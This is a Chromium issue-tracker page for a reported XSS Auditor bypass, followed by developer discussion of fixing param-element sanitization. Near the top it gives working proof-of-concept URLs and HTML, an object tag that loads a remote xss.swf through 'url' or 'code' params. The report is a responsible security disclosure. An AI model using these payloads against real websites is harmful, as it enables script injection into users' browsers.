Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Started
Owner:
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux, Android, Windows, Chrome, Mac
Pri: 3
Type: Bug



Sign in to add a comment
XSS Auditor bypass using object tag and url parameter
Reported by masatoki...@gmail.com, Dec 26 2016 Back to list
I'd like to report an XSS Auditor bypass bug.
PoC is here:
http://vulnerabledoma.in/char_test?body=%3Cobject+allowscriptaccess=always%3E%3Cparam+name=url+value=https://l0.cm/xss.swf%3E

<object allowscriptaccess="always">
<param name="url" value="https://attacker/xss.swf">

Could you confirm this bug?
Thanks!

VERSION
Version 57.0.2962.0 (Official Build) canary (64 bit)
 
It seems it works via the name="code" also.
http://vulnerabledoma.in/char_test?body=%3Cobject+allowscriptaccess=always%3E%3Cparam+name=code+value=https://l0.cm/xss.swf%3E

<object allowscriptaccess="always">
<param name="code" value="https://attacker/xss.swf">
Components: Blink>SecurityFeature
Labels: -Type-Bug-Security -Restrict-View-SecurityTeam Type-Bug
Owner: tsepez@chromium.org
Status: Assigned
Thanks for the report. Tom, could you take a look when you get a chance?
Cc: mkwst@chromium.org
Status: Started
Looks like there are few more <param> cases to cover.  Thanks for the report.
I'm also going to filter the allowscriptaccess attribute in <object>, just because, even though there's enough malice that can be accomplished even without it.
https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLParamElement.cpp?rcl=1483446215&l=48 is where we decide which name=xxx parameters are candiates for sanitization.
https://cs.chromium.org/chromium/src/third_party/WebKit/Source/core/html/HTMLObjectElement.cpp?rcl=1483446215&l=172 has its own ideas about URL parameters. 

Mike, should we unify the two?  Have a suggestion about who else might weigh in on param element behaviour?
Mike: |allowscriptaccessAttr| token doesn't exist, can we add this to whatever IDL generates these?
Cc: tsepez@chromium.org
Owner: mkwst@chromium.org
Bouncing to mike to get some answers.  Pls re-assign to me afterwards.
Labels: xssauditor
Labels: OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows Pri-3
Owner: tsepez@chromium.org
I missed this, apologies:

1.  I don't think we handle `allowscriptaccess` in Blink today; we just hand all the params over to the plugin and let it figure out what it ought to be doing with them. Feel free to add it to `Source/core/html/HTMLAttributeNames.json5`.

2.  I think unifying the URL parameter behavior makes sense. Do you have a concrete suggestion for doing so?
Sign in to add a comment